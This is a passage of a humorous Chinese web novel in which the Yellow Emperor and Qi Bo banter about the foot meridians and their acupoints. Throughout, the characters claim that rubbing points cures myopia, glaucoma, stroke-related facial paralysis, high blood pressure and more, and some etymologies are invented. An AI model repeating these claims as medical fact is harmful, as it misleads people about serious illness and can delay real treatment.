“首先啊，咱们说说睛明穴。这穴位就在咱们的内眼角那儿，轻轻一按，哎呀，那叫一个酸爽！不过，可别小瞧它，它是眼睛的守护神，能缓解眼睛疲劳、干涩，还能治疗近视、青光眼啥的。当然了，你要是晚上熬夜打游戏，第二天眼睛肿得跟熊猫似的，按按它，也能消肿哦！” “接下来啊，咱们说说攒竹穴。这穴位在眉毛内侧的尽头，那儿不是有个小小的凹陷嘛，就是它了。攒竹穴啊，可是治头痛的小能手，特别是那种因为压力大、熬夜啥的引起的头痛。你一按，哎哟，那叫一个舒服，头痛立马就缓解了不少！” “再往下说啊，咱们就到了天柱穴。这穴位在咱们后脑勺那儿，靠近脖子的地方。你要是经常低头玩手机、看电脑啥的，颈椎肯定受不了。这时候啊，你就得找找天柱穴了。它就像是颈椎的救星，按一按，颈椎的酸痛啊，立马就减轻了不少！” 这章没有结束，请点击下一页继续阅读！ “继续往下啊，咱们说说大杼穴。这穴位在咱们背部的第一胸椎棘突下，旁边开1.5寸的地方。别看它位置隐蔽，作用可大了去了！它能增强咱们的免疫力，让咱们少生病。特别是那种经常感冒、咳嗽的人，按按它啊，绝对有好处！” “哎呀，说到这儿啊，咱们就不能不提委中穴了。这穴位在咱们膝盖后面的腘窝正中，那可是个‘宝藏’穴位啊！你要是腰痛、腿痛啥的，按按它，哎哟，那叫一个痛快！简直就是缓解腰痛的灵丹妙药！” “再往下说啊，咱们就到了承山穴。这穴位在小腿肚子那儿，肌肉最丰厚的地方。你要是晚上小腿抽筋啥的，赶紧揉揉它，抽筋立马就停了！所以啊，承山穴啊，简直就是小腿抽筋的克星！” “最后啊，咱们说说昆仑穴。这穴位在咱们脚踝的外侧，外踝尖与跟腱之间的凹陷处。你要是走路走多了、崴脚啥的，脚踝肯定疼。这时候啊，你就得找找昆仑穴了。按一按啊，脚踝的疼痛立马就减轻了不少！简直就是缓解脚踝痛的秘密武器！” 黄帝一听岐伯讲得头头是道，心里那个佩服啊：“哎呀妈呀，岐伯啊，你可真是人才啊！这足太阳经上的穴位，被你一说啊，我感觉自己都能当半个医生了！” 岐伯一听黄帝夸自己，心里那个美啊：“嘿嘿，陛下啊，我这也是多年的经验积累嘛。不过啊，话说回来，这穴位按摩啊，虽然好处多多，但也得适量哦。要不然啊，按多了、按错了，反而适得其反呢！” 经水篇第十二（二） 经水篇第十二（二） 黄帝有一天突然心血来潮，对着岐伯说：“岐伯啊，我这心里头有个痒痒事儿，不问出来就难受。你说说，那足少阳经到底是个啥玩意儿？它整天在咱们身体里头转悠，到底是干啥的？” 岐伯一听，心里头那个乐啊，心想这黄帝还真是够逗的，啥都想问。但他脸上还是一本正经地说：“陛下啊，这足少阳经啊，说起来可有意思了。它外头跟渭水合着，里头呢，就跟咱们的胆是亲戚。这可是咱们中医里头的一条重要经络哦！” 黄帝一听，眉头一皱：“渭水？咱身体里头啥时候跟渭水扯上关系了？岐伯你是不是又在忽悠我呢？” 岐伯一看黄帝那疑惑的小眼神，赶紧摆手：“陛下误会了，我这可不是忽悠您。这足少阳经啊，虽然不能直接跟渭水相连，但它运行的路线和渭水有个类似的走向，都是从头开始，往下流。咱们这么说，只是为了方便理解嘛！” 黄帝一听，这才恍然大悟：“哦，原来是这样啊！那足少阳经在咱们身体里到底是干啥的呢？” 岐伯清了清嗓子，开始正式讲解：“这足少阳经啊，它可是咱们身体里的‘勇士经络’，主要负责疏通气机、调节胆汁分泌，还能帮助咱们消化食物、增强免疫力呢！它要是堵了，咱们可就得遭殃了，什么头痛、口苦、失眠、便秘的毛病都得找上门来。” 黄帝一听，吓得直拍桌子：“这么严重？那咱们得赶紧想办法疏通它啊！” 岐伯微微一笑：“陛下别急，咱们有针灸大法呢！只要沿着足少阳经的路线，扎上几针，保证让它畅通无阻！” 黄帝一听，眼睛一亮：“针灸？听起来好神奇啊！那你快说说，这足少阳经上都有哪些重要的穴位？它们都在哪儿？有啥作用？” 岐伯一看黄帝这好奇宝宝的样子，心里头那个乐啊，就开始一一介绍起来。 “首先啊，咱们得说说这足少阳经的起点——瞳子髎穴。它就在咱们眼睛外侧，眼角那儿。你摸摸看，是不是有个小凹陷？这就是瞳子髎穴了。这个穴位啊，可是咱们眼睛的守护神，经常按按它，能缓解眼睛疲劳、干涩，还能预防近视呢！” 黄帝一听，赶紧伸手摸了摸：“嘿，还真有个小凹陷！那以后我得多按按这儿了。” 岐伯继续介绍：“接下来啊，咱们得说说这听会穴。它就在咱们耳朵前下方，张嘴的时候，耳屏前有个凹陷，那就是听会穴了。这个穴位啊，可是咱们耳朵的福音，经常按按它，能改善耳鸣、耳聋的毛病，还能让咱们的听力更上一层楼呢！” 黄帝一听，耳朵都竖起来了：“这么神奇？那以后我得多揉揉这儿了。” 岐伯一看黄帝那认真的样子，心里头那个美啊，就继续介绍下去。 “然后啊，咱们得说说这率谷穴。它就在咱们耳朵上方，头顶偏侧的位置。这个穴位啊，可是咱们头痛的克星，经常按按它，能缓解偏头痛、头晕的毛病，还能让咱们的大脑更清醒呢！” 黄帝一听，赶紧摸了摸自己的头顶：“嗯，这个地方确实容易痛。那以后我得多敲敲这儿了。” 岐伯继续介绍：“接下来啊，咱们得说说这风池穴。它就在咱们后颈那儿，发际线上方，两条大筋的外侧凹陷处。这个穴位啊，可是咱们身体的‘风扇’，经常按按它，能疏散风热、缓解感冒、头痛的毛病，还能让咱们的精神更饱满呢！” 黄帝一听，赶紧转了转脖子：“嗯，这个地方按按确实挺舒服的。那以后我得多揉揉这儿了。” 岐伯一看黄帝那享受的样子，心里头那个得意啊，就继续介绍下去。 “然后啊，咱们得说说这肩井穴。它就在咱们肩膀上，大椎穴和肩峰连线的中点。这个穴位啊，可是咱们肩膀的‘泉眼’，经常按按它，能缓解肩膀酸痛、上肢不遂的毛病，还能让咱们的气血更通畅呢！” 黄帝一听，赶紧拍了拍自己的肩膀：“嗯，这个地方确实容易酸。那以后我得多捏捏这儿了。” 岐伯继续介绍：“接下来啊，咱们得说说这环跳穴。它就在咱们屁股那儿，股骨大转子最凸点与骶管裂孔连线的外1/3与中1/3交点处。这个穴位啊，可是咱们屁股的‘欢乐穴’，经常按按它，能缓解腰腿疼痛、下肢麻痹的毛病，还能让咱们走路更带劲呢！” 黄帝一听，赶紧摸了摸自己的屁股：“嗯，这个地方按按确实挺舒服的。那以后我得多拍拍这儿了。” 岐伯一看黄帝那陶醉的样子，心里头那个乐啊，就继续介绍下去。 “然后啊，咱们得说说这阳陵泉穴。它就在咱们小腿外侧，腓骨小头前下方凹陷处。这个穴位啊，可是咱们肝胆的‘守护神’，经常按按它，能疏肝利胆、缓解黄疸、胁痛的毛病，还能让咱们的胆汁分泌更顺畅呢！” 黄帝一听，赶紧敲了敲自己的小腿：“嗯，这个地方按按确实挺舒服的。那以后我得多敲敲这儿了。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 岐伯继续介绍：“接下来啊，咱们得说说这悬钟穴。它就在咱们小腿外侧，外踝尖上3寸，腓骨前缘。这个穴位啊，可是咱们身体的‘定时器’，经常按按它，能缓解颈项强痛、腰膝酸痛的毛病，还能让咱们的时间观念更强呢！” 黄帝一听，笑得前仰后合：“哈哈，这个穴位太有意思了！那以后我得多按按这儿，看看能不能让我的时间管理更上一层楼！” 岐伯一看黄帝那开心的样子，心里头那个爽啊，就继续介绍下去。 “最后啊，咱们得说说这足临泣穴。它就在咱们足背外侧，第四、五跖骨结合部前方凹陷处。这个穴位啊，可是咱们身体的‘解压阀’，经常按按它，能缓解头痛、目眩、胁痛、乳痈的毛病，还能让咱们的心情更舒畅呢！” 黄帝一听，赶紧揉了揉自己的脚背：“嗯，这个地方按按确实挺舒服的。那以后我得多揉揉这儿了。” 介绍完这些穴位后，岐伯看着黄帝那满足的样子，心里头那个美啊。他知道，这次讲解不仅让黄帝对足少阳经有了更深入的了解，还让他对针灸大法产生了浓厚的兴趣。 黄帝有一天突然心血来潮，问岐伯说：“嘿，岐伯，我这人对啥都好奇，今儿个就想问问，那个足阳明经啊，它到底是个啥玩意儿？能不能给我说道说道？” 岐伯一听，哈哈一笑，说：“黄帝陛下，您这问题问得好！足阳明经啊，那可真是一条神奇到不行的经络。它外合于海水——当然啦，这里的‘海水’可不是咱们平时喝的那种，而是指的大自然的广阔与深邃，象征着足阳明经的博大与深远。至于内属于胃嘛，那就是说，这条经络跟咱们的胃关系铁得很，胃要是有点啥风吹草动，足阳明经立马就能感应到。” 黄帝一听，眼睛一亮，说：“哦？这么神奇？那你快给我详细说说，这足阳明经上都有哪些穴位，它们都在哪儿，又有啥用？” 岐伯捋了捋胡子，清了清嗓子，开始了他的“足阳明胃经大揭秘”。 “首先啊，咱们得从头开始说。足阳明胃经的第一个穴位，叫做承泣穴。你想啊，承泣，承泣，不就是承接泪水的地方嘛！它就在咱们的眼睛下方，眼球和眼眶下缘之间。这个穴位啊，对于治疗眼睛干涩、迎风流泪那可是有一手。你要是经常对着电脑屏幕，眼睛累得不行，多揉揉承泣穴，保证你眼睛舒服多了。” 黄帝一听，点了点头，说：“嗯，这个穴位听起来就很实用。那下一个呢？” 岐伯接着说：“下一个穴位啊，叫做四白穴。为啥叫四白呢？你瞅瞅，它就在咱们眼睛下方，差不多一寸多的地方，那儿有四块白色的骨头围着呢，所以就叫四白啦。这个穴位啊，是治疗近视、老花眼的利器。没事的时候，多按按，说不定你就能摆脱眼镜的束缚，成为‘明眸善睐’的大帅哥或者大美女了呢！” 黄帝一听，笑得合不拢嘴，说：“哈哈，那我可得好好记住了。那接下来呢？” 岐伯继续道：“接下来啊，就是巨髎穴啦。这个名字听起来有点霸气侧漏，对吧？它就在咱们鼻翼两侧，差不多鼻唇沟的中点那里。这个穴位啊，对于治疗鼻炎、鼻塞那可是有奇效。你要是感冒了，鼻子不通气，多揉揉巨髎穴，保证你呼吸顺畅多了。” 黄帝一听，觉得挺有意思，说：“嘿，这穴位还挺管用的。那还有呢？” 岐伯说：“别急嘛，好戏还在后头呢。接下来是地仓穴，就在嘴角旁边，差不多跟瞳孔在一条直线上。这个穴位啊，是治疗面瘫、口歪眼斜的绝招。你要是哪天不小心中风了，嘴巴歪了，赶紧揉揉地仓穴，说不定就能恢复如初了呢！” 黄帝一听，惊讶地说：“这么神奇？那足阳明胃经上还有其他什么穴位吗？” 岐伯说：“当然有啦。接下来是大迎穴，它就在咱们下巴下面，咬肌附着部的前缘。这个穴位啊，是治疗牙痛、面部肿痛的灵丹妙药。你要是哪天牙疼得要命，多揉揉大迎穴，保证你牙疼立马减轻。” 黄帝一听，觉得足阳明胃经真是全身是宝，说：“那还有呢？快说说。” 岐伯说：“别着急嘛。接下来是颊车穴啦，它就在咱们下巴角往上一横指的地方，咬牙的时候，那儿会鼓起一个包，那就是颊车穴啦。这个穴位啊，对于治疗腮腺炎、口噤不开那可是有特效的。你要是哪天腮帮子肿得跟馒头似的，赶紧揉揉颊车穴，说不定就能消肿止痛了呢！” 黄帝一听，笑得前仰后合，说：“哈哈，这穴位名字还挺有趣的。那接下来呢？” 岐伯说：“接下来啊，就是下关穴啦。这个穴位啊，在咱们耳朵前面，颧弓下缘的凹陷处。你张张嘴，摸摸那儿，是不是有个窝？对啦，那就是下关穴。这个穴位啊，是治疗耳鸣、耳聋、牙痛的必备良品。你要是哪天耳朵嗡嗡响，或者牙疼得要命，多揉揉下关穴，保证你耳朵舒服多了，牙疼也减轻了。” 这章没有结束，请点击下一页继续阅读！ 黄帝一听，觉得足阳明胃经真是太神奇了，说：“那还有没有其他穴位啊？” 岐伯说：“当然有啦。接下来是头维穴啦，它就在咱们额角发际直上0.5寸的地方。这个穴位啊，是治疗头痛、目眩的绝佳选择。你要是哪天头疼得要命，或者眼前发黑，赶紧揉揉头维穴，说不定就能缓解疼痛，恢复视力了呢！” 黄帝一听，觉得足阳明胃经上的穴位真是各有千秋，说：“哈哈，这足阳明胃经还真是全身都是宝啊。那接下来呢？还有没有其他穴位？” 岐伯说：“别急嘛，还有呢。接下来是人迎穴啦，它就在咱们喉结旁边，胸锁乳突肌的前缘。你摸摸那儿，是不是有个动脉在跳？对啦，那就是人迎穴。这个穴位啊，是治疗咽喉肿痛、高血压的妙招。你要是哪天嗓子疼得要命，或者血压高得吓人，赶紧揉揉人迎穴，说不定就能减轻症状了呢！” 黄帝一听，觉得人迎穴这个名字还挺有诗意的，说：“哈哈，这人迎穴听起来还挺有文艺范儿的。那接下来呢？” 岐伯说：“接下来啊，就是水突穴啦。这个穴位啊，在咱们人迎穴直下，胸锁乳突肌的前缘。你摸摸那儿，是不是有个软软的窝？对啦，那就是水突穴。这个穴位啊，是治疗咳嗽、气喘、咽喉肿痛的小能手。你要是哪天咳嗽得停不下来，或者嗓子疼得要命，赶紧揉揉水突穴，说不定就能止咳止痛了呢！” 黄帝一听，觉得水突穴这个名字还挺有趣的，说：“哈哈，这穴位名字还挺形象的。那接下来呢？还有没有其他穴位？” 岐伯说：“当然有啦。接下来是气舍穴啦，它就在咱们锁骨内侧端的上缘，胸锁乳突肌的胸骨头与锁骨头之间。这个穴位啊，是治疗咽喉肿痛、咳嗽、气喘的灵丹妙药。你要是哪天嗓子又疼又痒，咳嗽得停不下来，赶紧揉揉气舍穴，说不定就能缓解症状了呢！” 黄帝一听，觉得气舍穴这个名字还挺有深意的，说：“哈哈，这气舍穴听起来还挺有哲理的。那接下来呢？足阳明胃经上还有其他什么穴位吗？” 岐伯说：“别着急嘛，还有呢。接下来是缺盆穴啦，它就在咱们锁骨上窝的中央，距离前正中线4寸的地方。这个穴位啊，是治疗咳嗽、气喘、咽喉肿痛、颈项强痛的绝招。你要是哪天脖子疼得要命，或者咳嗽得停不下来，赶紧揉揉缺盆穴，说不定就能减轻疼痛，止咳平喘了呢！” 黄帝一听，觉得缺盆穴这个名字还挺特别的，说：“哈哈，这缺盆穴听起来还挺有想象力的。那接下来呢？还有没有其他穴位？” 岐伯说：“当然有啦。不过咱们先说到这儿吧，足阳明胃经上的穴位实在是太多了，一次性说完你也记不住。咱们先记住这些主要的穴位和它们的作用吧。以后有机会再慢慢聊其他的穴位。” 经水篇第十二（三） 经水篇第十二（三） 话说有一天，咱们的黄帝突发奇想，对身边的岐伯说：“岐伯啊，朕最近对足太阴经特别感兴趣，你能不能给朕讲讲这其中的道理啊？”岐伯一听，心想：这黄帝大佬这是要考校我呢！于是，岐伯故作深沉地咳嗽了一声，缓缓开口：“陛下，这足太阴啊，外合于湖水，内属于脾。” 黄帝一听，眉头微皱：“啥？湖水？脾？你这是在给我上地理课还是生物课啊？”岐伯一看黄帝这表情，心里就乐了，心想：这黄帝也有不懂的时候啊！于是，岐伯决定给黄帝来一堂生动的中医经络课。 “陛下，您别急，听我慢慢道来。这足太阴经啊，在中医里可是个大家伙，它连接着咱们身体的内外，外合于自然界的湖水，其实就是说它的属性跟水有关，滋润着咱们的身体；而内属于脾呢，就是说这条经络跟咱们的脾脏关系密切，是脾脏在身体上的延伸。” 黄帝一听，恍然大悟：“哦，原来如此！那这条经络上都有哪些穴位呢？它们又有啥作用？”岐伯一看黄帝这求知欲旺盛的样子，心里更乐了，心想：这黄帝大佬也有今天啊！于是，岐伯开始给黄帝细数足太阴脾经上的穴位。 “陛下，这足太阴脾经啊，从咱们的大脚趾开始，第一个穴位叫隐白穴。您想想啊，这隐白穴就像是大脚趾上的小白点，藏得可深了，一般人还发现不了呢！它可是脾经的井穴，能治疗各种出血症，比如鼻子出血、牙龈出血啥的，一按就好，神不神奇？” 黄帝一听，眼睛一亮：“哇，这么神奇！那下一个穴位呢？”岐伯接着说：“下一个穴位叫大都穴，在大脚趾和脚掌连接的地方。大都嘛，就是大的地方，这穴位就像是个大仓库，储存着咱们身体的能量。经常按揉大都穴，能调理咱们的身体，增强免疫力，让您龙体更加康健！” 黄帝一听，哈哈大笑：“好，好！那朕以后得多按按这大都穴了！”岐伯一看黄帝这高兴劲儿，心里也美滋滋的，继续往下讲：“陛下，接下来是太白穴。太白啊，就是太白金星嘛，这穴位就像是个小神仙，守护着咱们的脾脏。它是脾经的原穴，能治疗各种脾胃疾病，比如胃痛、胃胀啥的，一按就好，比那太上老君的仙丹还灵呢！” 黄帝一听，更是笑得合不拢嘴：“哈哈，朕的脾胃有救了！那下一个穴位呢？”岐伯说：“下一个是公孙穴，在脚掌中间靠内侧的地方。公孙嘛，就是公爵的儿子，这穴位就像是个小贵族，身份尊贵得很。它是八脉交会穴之一，通冲脉，能治疗各种妇科疾病，比如痛经、月经不调啥的。陛下啊，您要是以后后宫佳丽三千，有哪个不舒服了，您就给她按按这公孙穴，保证药到病除！” 黄帝一听，笑得前仰后合：“哈哈，岐伯啊，你这是在教朕如何讨好佳丽吗？”岐伯一看黄帝这玩笑样儿，也忍不住笑了：“陛下，臣哪敢啊！臣只是在给您讲解穴位罢了。” 笑归笑，岐伯还是继续给黄帝讲解：“接下来是商丘穴，在内踝前下方凹陷处。商丘嘛，就是商业繁华之地，这穴位就像是个小集市，热闹得很。它是脾经的经穴，能治疗各种下肢疾病，比如腿疼、脚麻啥的。陛下啊，您以后要是走多了路，腿酸脚麻了，就按按这商丘穴，保证您立马精神抖擞！” 黄帝一听，连连点头：“好，好！那接下来呢？”岐伯说：“接下来是三阴交穴，在内踝尖上三寸，胫骨后缘。三阴交嘛，就是三条阴经的交会之处，这穴位就像是个交通枢纽，连接着肝、脾、肾三条经络。它是妇科圣穴，能治疗各种妇科疾病，还能美容养颜、延缓衰老。陛下啊，您要是想让后宫佳丽们都青春永驻、美丽动人，就多给她们按按这三阴交穴吧！” 黄帝一听，笑得眼睛都快眯成一条缝了：“哈哈，岐伯啊，你这是在教朕如何养生吗？”岐伯一拱手：“陛下英明！这养生之道啊，确实离不开这些穴位。” 接下来，岐伯继续给黄帝讲解：“接下来是漏谷穴，在小腿内侧，当内踝尖与阴陵泉的连线上，距内踝尖6寸。漏谷嘛，就是漏掉谷子的地方，这穴位就像是个小漏斗，能把咱们身体里多余的湿气、毒素啥的都漏掉。经常按揉漏谷穴，能健脾化湿、调理肠胃。” 黄帝一听，若有所思：“嗯，这漏谷穴倒是挺有意思的。那接下来呢？”岐伯说：“接下来是地机穴，在阴陵泉下3寸。地机嘛，就是大地的机关，这穴位就像是个小开关，能控制咱们身体的某些功能。它是脾经的郄穴，能治疗各种急性疼痛，比如急性胃痛、急性肠炎啥的。陛下啊，您以后要是突然肚子疼了，就按按这地机穴，保证您立马不疼了！” 黄帝一听，连声称奇：“哇，这地机穴这么厉害啊！那接下来呢？”岐伯说：“接下来是阴陵泉穴，在小腿内侧，当胫骨内侧髁后下方凹陷处。阴陵泉嘛，就是阴气的源泉，这穴位就像是个小泉眼，源源不断地给咱们身体提供阴气。它是脾经的合穴，能健脾利湿、益肾调经。陛下啊，您要是想身体好、肾不亏，就多按按这阴陵泉穴吧！” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝一听，笑得合不拢嘴：“哈哈，岐伯啊，你这是在教朕如何补肾吗？”岐伯一看黄帝这玩笑样儿，也忍不住笑了：“陛下啊，臣哪敢啊！臣只是在给您讲解穴位罢了。” 笑归笑，岐伯还是继续给黄帝讲解：“接下来是血海穴，在股前区，髌底内侧端上2寸，股内侧肌隆起处。血海嘛，就是血的海洋，这穴位就像是个小血库，储存着咱们身体的血液。经常按揉血海穴，能补血养血、活血化瘀。陛下啊，您要是想气血充足、面色红润，就多按按这血海穴吧！” 黄帝一听，连连点头：“好，好！那最后一个穴位呢？”岐伯说：“最后一个穴位叫箕门穴，在大腿内侧，当血海上6寸。箕门嘛，就像是个小簸箕，能把咱们身体里的垃圾、毒素啥的都给簸出去。经常拍打箕门穴，能排毒养颜、减肥瘦身。陛下啊，您要是想让后宫佳丽们都身材苗条、容颜娇美，就多给她们拍拍这箕门穴吧！” 黄帝一听，笑得都快喘不过气来了：“哈哈，岐伯啊，你这是在教朕如何减肥吗？”岐伯一拱手：“陛下英明！这减肥之道啊，确实离不开这些穴位。” 讲到这里，岐伯终于讲完了足太阴脾经上的所有穴位。黄帝一听完，连连称赞：“岐伯啊，你可真是朕的福星啊！你给朕讲解了这么多穴位，朕以后要是有个头疼脑热啥的，自己就能按按穴位解决了！”岐伯一听，心里也美滋滋的：“陛下过奖了！能为陛下分忧解难，是臣的荣幸。” 黄帝有一天突发奇想，他摸着自己的龙须，对身边的歧伯说：“歧伯啊，我这心里老有个疑问，你说咱们中医里讲的足少阴经，它到底是个啥玩意儿？能不能给我说道说道？” 歧伯一听，心里暗笑这黄帝陛下今天怎么这么接地气，但还是一本正经地回答：“陛下啊，这足少阴经啊，它可是咱们中医经络学里的一条大动脉！它外合于汝水——当然了，这里的汝水可不是真的指哪条河，而是古代的一种说法，咱们现在理解成它在人体外部的表现就行。而它内呢，就属于肾啦！这可是关乎咱们男人女人都关心的大问题——肾啊！” 黄帝一听，眼睛一亮：“哦？这么说来，这足少阴经跟肾是铁哥们儿了？那它具体是怎么个走法？有没有什么穴位是咱们平时可以按按，保健养生的？” 歧伯捋了捋胡子，笑道：“陛下真是聪明绝顶啊！这足少阴经，它从咱们的脚底开始，一路往上，经过小腿、大腿内侧，最后到达咱们的腰部，跟肾那是紧紧相连。至于穴位嘛，那可多了去了，每个穴位都是一个小宝藏呢！” 黄帝一听，来了兴趣：“快说说，快说说！都有哪些宝藏穴位？” 歧伯清了清嗓子，开始一一介绍：“首先啊，咱们从脚底的涌泉穴说起。这涌泉穴啊，就在咱们脚底的正中间，你想象一下，是不是像泉水一样，源源不断地给咱们的肾输送能量？所以啊，平时咱们多按按这个穴位，就能起到补肾益精、强身健体的作用。陛下啊，您要是觉得龙体欠安，多泡泡脚，然后按按这个穴位，保证您龙精虎猛！” 黄帝一听，哈哈大笑：“好！好！以后我每天都泡泡脚，按按这个涌泉穴！” 歧伯接着说：“然后啊，咱们继续往上，就到了然谷穴。这个穴位在咱们的内踝前下方，你摸摸看，是不是有个小凹陷？这就是然谷穴啦！它可是咱们足少阴肾经的荥穴，能清热泻火、滋阴养血。陛下啊，您要是哪天上火了，比如口腔溃疡啊、咽喉肿痛啊，按按这个穴位，就能起到降火的作用。” 黄帝点点头：“嗯，这个穴位不错，以后我上火了就靠它了！” 歧伯继续介绍：“再往上啊，咱们就到了太溪穴。这个穴位在咱们的内踝后方，跟腱与内踝尖之间的凹陷处。它可是咱们足少阴肾经的原穴，能补肾益气、通调水道。陛下啊，您要是觉得腰膝酸软啊、尿频尿急啊，按按这个穴位，就能起到缓解的作用。” 黄帝一听，眼睛又亮了：“这个穴位更实用！我以后得多按按！” 歧伯笑了笑：“还没完呢！咱们继续往上，就到了复溜穴。这个穴位在咱们的小腿内侧，太溪穴直上2寸的地方。它可是咱们足少阴肾经的经穴，能补肾益阴、利水消肿。陛下啊，您要是哪天水肿了，比如眼皮肿啊、下肢肿啊，按按这个穴位，就能起到消肿的作用。” 黄帝一听，哈哈大笑：“歧伯啊，你这穴位介绍得真是全面啊！我感觉自己都快成中医大师了！” 歧伯也笑了：“陛下过誉了！咱们继续啊！接下来是阴谷穴，这个穴位在咱们的大腿内侧，屈膝的时候，在腘窝内侧横纹头上，半腱肌、半膜肌止点的地方。它可是咱们足少阴肾经的合穴，能益肾调经、清热利湿。陛下啊，您要是觉得月经不调啊、白带异常啊，按按这个穴位，就能起到调理的作用。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝一听，有点尴尬：“咳咳……这个穴位嘛，我虽然用不上，但可以给后宫的嫔妃们推荐推荐！” 歧伯点了点头：“没错！咱们中医的穴位啊，男女老少都能用！接下来是大钟穴，这个穴位在咱们的足内侧，内踝后下方，当跟腱附着部的内侧前方凹陷处。它可是咱们足少阴肾经的络穴，能益肾平喘、调理二便。陛下啊，您要是觉得气喘啊、便秘啊，按按这个穴位，就能起到缓解的作用。” 黄帝一听，连连点头：“嗯！这个穴位也实用！我记下了！” 歧伯接着说：“然后啊，咱们就到了水泉穴。这个穴位在咱们的足内侧，内踝后下方，当太溪穴直下1寸，跟骨结节的内侧凹陷处。它可是咱们足少阴肾经的郄穴，能活血通经、清热凉血。陛下啊，您要是哪天痛经啊、出血不止啊，按按这个穴位，就能起到止血止痛的作用。” 黄帝一听，有点惊讶：“哦？这个穴位还能治痛经？那以后可得让嫔妃们都知道！” 歧伯笑了笑：“当然了！咱们中医的穴位啊，那可都是宝贝！接下来是照海穴，这个穴位在咱们的足内侧，内踝尖下方凹陷处。它可是咱们八脉交会穴之一，通阴跷脉，能滋阴清热、调经止痛。陛下啊，您要是觉得失眠啊、咽喉干燥啊，按按这个穴位，就能起到安神利咽的作用。” 黄帝一听，眼睛又亮了：“这个穴位好！我以后失眠了就靠它了！” 歧伯点了点头：“还没完呢！咱们继续啊！接下来是交信穴，这个穴位在咱们的小腿内侧，当太溪穴直上2寸，复溜穴前0.5寸，胫骨内侧缘的后方。它可是咱们足少阴肾经的阴维脉郄穴，能调经止痛、涩精止带。陛下啊，您要是觉得遗精啊、白带过多啊，按按这个穴位，就能起到调理的作用。” 黄帝一听，有点不好意思：“咳咳……这个穴位嘛……我还是先记下再说吧！” 歧伯笑了笑，没再继续这个话题，而是转到了筑宾穴：“接下来是筑宾穴，这个穴位在咱们的小腿内侧，当太溪穴与阴谷穴的连线上，太溪穴上5寸，腓肠肌肌腹的内下方。它可是咱们足少阴肾经的阴维脉交会穴，能调理下焦、清热利湿、化痰祛瘀。陛下啊，您要是觉得小便不利啊、痰多啊，按按这个穴位，就能起到缓解的作用。” 黄帝一听，连连点头：“嗯！这个穴位也不错！我记下了！” 歧伯接着说：“然后啊，咱们就到了横骨穴。这个穴位在咱们的下腹部，当脐中下5寸，前正中线旁开0.5寸。它可是咱们足少阴肾经与冲脉的交会穴，能温阳散寒、调理冲任。陛下啊，您要是觉得小腹冷痛啊、痛经啊，按按这个穴位，就能起到缓解的作用。” 黄帝一听，眼睛又亮了：“这个穴位也好！我以后可以让嫔妃们都试试！” 歧伯笑了笑，没再继续这个话题，而是转到了大赫穴：“接下来是大赫穴，这个穴位在咱们的下腹部，当脐中下4寸，前正中线旁开0.5寸。它可是咱们足少阴肾经的穴位，能温补肾阳、调理冲任。陛下啊，您要是觉得阳痿啊、遗精啊，按按这个穴位，就能起到调理的作用。” 黄帝一听，有点尴尬：“咳咳……这个穴位嘛……我还是先记下再说吧！” 歧伯没在意黄帝的尴尬，继续介绍气穴：“然后啊，咱们就到了气穴。这个穴位在咱们的下腹部，当脐中下3寸，前正中线旁开0.5寸。它可是咱们足少阴肾经的穴位，能调理下焦、益气固脱。陛下啊，您要是觉得遗尿啊、脱肛啊，按按这个穴位，就能起到缓解的作用。” 黄帝一听，连连点头：“嗯！这个穴位也实用！我记下了！” 歧伯接着说：“接下来是四满穴，这个穴位在咱们的下腹部，当脐中下2寸，前正中线旁开0.5寸。它可是咱们足少阴肾经的穴位，能温阳散寒、调理气血。陛下啊，您要是觉得小腹冷痛啊、月经不调啊，按按这个穴位，就能起到调理的作用。” 黄帝一听，眼睛又亮了：“这个穴位也好！我以后可以让后宫的嫔妃们都试试！” 歧伯笑了笑，继续介绍中注穴：“然后是中注穴，这个穴位在咱们的下腹部，当脐中下1寸，前正中线旁开0.5寸。它可是咱们足少阴肾经的穴位，能调理下焦、活血化瘀。陛下啊，您要是觉得腰痛啊、痛经啊，按按这个穴位，就能起到缓解的作用。” 黄帝一听，满意地点点头：“嗯！这个穴位也不错！我记下了！” 歧伯最后介绍了肓俞穴：“最后是肓俞穴，这个穴位在咱们的腹中部，当脐中旁开0.5寸。它可是咱们足少阴肾经的穴位，能调理肠胃、温阳散寒。陛下啊，您要是觉得胃痛啊、腹痛啊，按按这个穴位，就能起到缓解的作用。” 黄帝一听，哈哈大笑：“歧伯啊！你今天真是给我上了一堂生动的中医课啊！我以后一定多按按这些穴位，保健养生！” 经水篇第十二（四） 经水篇第十二（四） 话说有一天，黄帝心血来潮，突然对岐伯说：“岐伯啊，我这心里头有个事儿，老想不明白了。你能不能给我讲讲那个足厥阴的道理啊？我这脑子里的医学知识库，就差这一块儿拼图了！” 岐伯一听，心想：嘿，这家伙今天怎么突然对足厥阴感兴趣了？不过既然皇上都开口了，那我得好好给他讲讲。于是，岐伯清了清嗓子，慢悠悠地说：“皇上啊，这足厥阴啊，它可有意思了。在外呢，它跟咱们身上的渑水（注：古文中渑水可能指某一流域或象征性的水流，此处为便于理解，我们将其抽象为与经络相关的水流意象）那是遥相呼应；在内呢，它就直属于咱们的肝大将军啦！” 黄帝一听，眉头一皱：“渑水？肝大将军？你这是说的哪门子外语啊？能不能给我翻译翻译，用咱们现代人能听懂的话？” 岐伯一听，哈哈一笑：“皇上别急，我这就给您细细道来。” 首先啊，咱们得知道，这足厥阴肝经，那可是咱们身体上的一条重要经络，它就像是一条高速公路，专门负责把肝的气血输送到全身各处。要说这肝啊，它可不光是咱们身体里的解毒工厂，还是个情绪调节器呢！要是肝经不通，那可就麻烦了，心情容易郁闷，脾气也变得火爆，整个人都感觉不对劲儿。 好了，咱们言归正传，开始揭秘足厥阴肝经的穴位吧！这肝经啊，从脚开始，一路往上，经过腿、腰、胸，最后到达头顶，穴位众多，作用各异。咱们就挑几个有意思的穴位来说说。 首先是大敦穴，它就在咱们大脚趾的外侧，趾甲根角旁约0.1寸的地方。要说这大敦穴啊，它可是个灭火高手！要是你最近上火了，比如口腔溃疡、牙龈肿痛啥的，不妨多揉揉这个大敦穴，保准你火气立消，心情也好起来。 接下来是行间穴，它就在大敦穴往上一点，大脚趾和二脚趾之间的缝隙里。要说这行间穴啊，它可是个逍遥自在的主儿！要是你最近压力大、心情烦闷，揉一揉行间穴，就能让你感觉像是吃了逍遥丸一样，整个人都轻松了起来。 